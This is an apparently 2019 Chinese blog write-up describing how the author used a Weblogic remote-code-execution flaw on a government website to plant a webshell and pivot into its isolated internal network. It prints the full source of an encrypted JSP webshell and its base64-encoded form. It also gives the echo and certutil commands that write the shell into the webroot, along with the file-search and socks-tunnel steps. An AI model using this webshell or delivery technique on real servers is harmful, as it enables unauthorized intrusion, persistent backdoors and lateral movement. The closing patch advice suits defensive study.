从RCE到隔离内网

作者: RabbitMask | 来源:发表于2019-06-24 15:51 被阅读14次

    最近接到一个小任务,某GOV网站存在Weblogic漏洞需要验证,于是乎掏出WeblogicScan一键检测,emmmm,翻车了。。。

    考虑到WeblogicScan中唯一不成熟的脚本只能最新的CVE-2019-2925了,安排!不过确实是时候该抽空进行WeblogicScan的升级了,敬请期待。。。

    https://github.com/rabbitmask/WeblogicScan

    回归正题,本章亮点主要在于使用bash64加解密写入webshell、查找文件绝对路径等。。。

    RCE

    通过命令执行,我们获取到以下信息:
    目标无法访问外网 => 无法反弹shell
    目标系统windows => cmd字符长度限制
    目标进程没有杀软 => 可写入webshell
    策略:手动写入webshell至网站目录。

    路径查找

    借助RCE dir一下,显然这是webapp所在domain目录:

    d:\weblogic1036\user_projects\domains\base_domain
    

    借助RCE一层层去找webapp目录,一脸懵逼ing,这时才想到大佬提到过的dir基本命令,我们通过查看页面源码找到一个标识度较高的文件,然后进行文件遍历:

    dir d:\filename.jsp /s /b
    

    从而对应到webapp路径与物理路径,值得吐槽的是,笔者在这里拿到的路径在第十层目录,2333333,还好我没有翻下去。

    写入Webshell

    首先我们需要明确的是,cmd下字符长度限制的问题,参考微软官方说法:

    在计算机上运行 Windows XP 或更高版本,您可以在命令提示符下使用该字符串的最大长度 8191 个字符。在运行 Microsoft Windows 2000 或 Windows NT 4.0 的计算机,您可以在命令提示符下使用该字符串的最大长度为 2047个字符。

    我们抛弃了jsp大马的选项,在此选用冰蝎的一句话作为本次payload。
    在将木马写入指定路径的过程中,发现当cmd命令执行时payload作为字符串出现造成了各种报错,因为payload中含有各种各样的特殊字符,把RCE payload语句完全打乱了,这时候有两种策略:

    • 1、分段写入,通过多次echo到同一文件,最终构成我们完整的payload。
      然而,要对语句中的字符进行逐一转义,尤其是防止双引号意外闭合的问题。然而,这个payload虽然不长,但是几十个特殊字符还是有的,工作量依然很大,pass!
    • 2、bash64编码,cmd本身是支持bash编解码的,所以我们可以借助bash64加密传输,以此来避免特殊字符对语义的感染,然后借助certutil命令进行bash64解码,还原payload。

    一句话jsp木马:

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
    

    进行bash64编码然后echo输出到txt文件:

    echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzIikhPW51bGwpe1N0cmluZyBrPSgiIitVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7JT4= >> 1.txt
    

    将目标文件内容解码并生成webshell到指定目录:

    certutil -decode 1.txt 1.jsp
    

    连入webshell:

    当前权限system,接下来reGeorg+Proxifier建立socks隧道将本机带入内网,即可开启隔离内网的后渗透阶段。

    总结

    综上所述,看似绝对安全的内外网隔离配置只要存在突破点就会变得漏洞百出,此次对进入隔离内外的突破点正是中间件的RCE漏洞,CVE-2019-2925在最近的几个月一直都很活跃,希望10.3.6 & 12.1.3版本用户引起重视,密切关注官网最新补丁并及时更新。

    相关文章

      网友评论

        本文标题:从RCE到隔离内网

        本文链接:https://www.haomeiwen.com/subject/nbnnqctx.html